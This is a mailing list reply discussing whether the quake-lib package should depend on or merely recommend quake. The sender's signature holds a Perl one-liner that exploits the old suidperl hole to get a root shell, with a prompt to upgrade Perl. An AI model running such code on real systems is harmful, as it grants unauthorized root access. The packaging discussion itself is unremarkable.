Re: Problems with Quake and Quake-lib
> The "won't work without" should be a depends, but "useless without" isn't
> sufficient. Consider: libc5 could be considered useless without the
> packages that use it being installed. Well, maybe that's too bizzar an
> example, but think of the other libraries; none of them depend on the
> programs that use them (even if only one program currently does so).
> I would argue that the depends in quake-lib on quake is inappropriate
> because one should never need to use --force-depends in such a
> circumstance.
Ok, I can agree with that. After all, if a super-quake-whatever comes
out that can use quake libs, doom wad files, etc, you might want to
install quake-lib without quake :-)
Quake-lib will still reccommend quake, though, unless you object.
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#!/usr/bin/perl -i$>=0;$<=0;exec"/bin/sh"'>achmod joey@kite.ml.org
$_="echo '#!/usr/bin/suidperl -U\n$^I 2755aa";s=a= $ENV{HOME}/Imroot;=g;exec$_
# Get root in 30 seconds or less. Fix this hole: upgrade to perl 5.003 today..
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